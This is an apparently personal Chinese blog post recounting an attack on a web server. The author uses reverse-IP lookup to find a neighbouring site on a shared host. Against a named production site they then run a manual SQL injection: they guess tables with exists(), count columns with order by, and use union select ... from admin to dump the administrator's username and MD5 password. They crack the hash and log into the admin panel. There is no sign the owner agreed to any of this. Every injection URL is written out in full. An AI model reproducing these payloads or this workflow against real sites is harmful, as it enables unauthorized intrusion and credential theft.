今天在空間發了篇日誌，問朋友們有沒有什麼需要我這個小菜檢測一下的網站，日誌發出後，有位朋友來留了一個網站的地址：
呵呵，當時聽那朋友說的，他們好多人都不行，拿不下，我被嚇到了，呵呵，想着別人那麼多人都拿不下的站，我一個小菜鳥能拿下？
呵呵，不過還是抱着試試看的心情打開了這個網站，在主站轉了轉，用的是CMS，由於俺是小菜，對CMS不懂，於是找到後臺，看可否直接登錄，後臺地址爲：
http://www.jbzx.cn/admin/admin_index.asp
但是，打開之後發現頁面跳轉到了
http://www.jbzx.cn/User/Login.Asp
看來是直接cookie驗證了，算了，這麼複雜，直接放棄了從主站直接下手的想法，看看能不能旁註吧，於是，打開
http://www.rootkit.net.cn/index.aspx
查詢一下，不查不知道，一查我就高興了，哈哈：
這個服務器上放了200多個網站，這麼多網站能全部做到安全麼？顯然，在國內來說，那是不可能的，所以，我的勝算增加了一分。
既然這麼多網站，那就一個一個來吧，唉，像我這種菜鳥級的人物，只好幹這種體力活了… …
在這裏，我偷了懶，打開明小子，批量掃描後臺，這是我的一點個人習慣，在辦正事之前我習慣先找後臺，嗯，雖然我是聯通，而這服務器是電信，但速度還蠻快的，很快結果出來了，於是一個後臺一個後臺的試，結果不是過濾注入就是域名失效，弱口令更是一個沒有，繼續，繼續，繼續。
一直到這個網站：
http://www.better-cleaning.com
後臺是：
http://www.better-cleaning.com/admin/Login.asp
先看有沒有弱口令，發現沒有，於是只好去前臺轉，打開前臺後，是英文，全是英文，我原本打算找個轉換按鈕的，但是發現頁面上沒有，算了，沒有就沒有吧，將就着來吧。
隨便點開一個鏈接：
http://www.better-cleaning.com/productshow.asp?id=711
加單引號，出錯了：
我懶，懶得手工來，並且對於asp，我也實在沒有手工來的興趣，工具那麼好用，何必不用工具呢？
於是，拉出我一直信任有加的啊D，把注入點放進去，開始檢測：
結果啊D告訴我不能注入，咦？怎麼會這樣呢？
既然啊D不行，那就換明小子：
鬱悶了，明小子也告訴我不能注入，那，難道是我的手工判斷錯誤？還是這種注入類型工具無法檢測？
我不甘心就這麼放棄，於是，打開這個兩個這麼出名的工具都檢測不出來的地址，開始手工注入，自然而然的，也就有了你正在看的這篇文章：
提交：
http://www.better-cleaning.com/productshow.asp?id=711 andexists (select * from admin)
頁面回顯正常：
說明存在admin表，再提交：
http://www.better-cleaning.com/productshow.asp?id=711 andexists (select username from admin)
頁面回顯正常，說明存在username字段，再提交：
http://www.better-cleaning.com/productshow.asp?id=711 andexists (select password from admin)
頁面回顯正常，說明存在password字段，現在表名和字段名全部猜完，該爆用戶名和密碼了，於是，先order by，提交：
http://www.better-cleaning.com/productshow.asp?id=711 orderby 5
頁面回顯錯誤，說明頁面中的字段數不是5，依次反覆提交，直到提交：
http://www.better-cleaning.com/productshow.asp?id=711 orderby 36
這時頁面回顯正常，說明字段數爲36，於是，開始union select，提交：
http://www.better-cleaning.com/productshow.asp?id=711 and1=2 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36
頁面回顯錯誤，爲什麼會出錯呢？
當時我的理解有2點，一，是需要用null替代了，二，是需要加from了，我懶，懶得寫36個null，於是，先試試加from吧，提交：
http://www.better-cleaning.com/productshow.asp?id=711 and1=2 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36from admin
頁面回顯正常，成功出現顯示位：
OK，既然顯示位出來了，那就開始爆用戶名和密碼吧，提交：
http://www.better-cleaning.com/productshow.asp?id=711 and1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,username,23,24,25,26,password,28,29,30,31,32,33,34,35,36from admin
哦了，管理員的用戶名和密碼都爆出來了，把MD5複製下來，去解密：
OK，結果出來了，密碼是better，打開後臺，登錄：
OK，登錄成功。
下邊的，俺這小菜鳥就不寫拉，這篇文章只是探討一下union select的時候是否要加from，以及在什麼情況下要加from，我試了試這個站的數據庫，發現好像不是MSSQL，應該是ACCESS的，而在php+Mysql的聯合查詢中，就不必在最後加上from，那麼是否就是說，在ACCESS環境下，就必須要加上from呢？望明人指點，謝謝。
文章很戳，沒什麼技術含量，不要噴我不要噴我……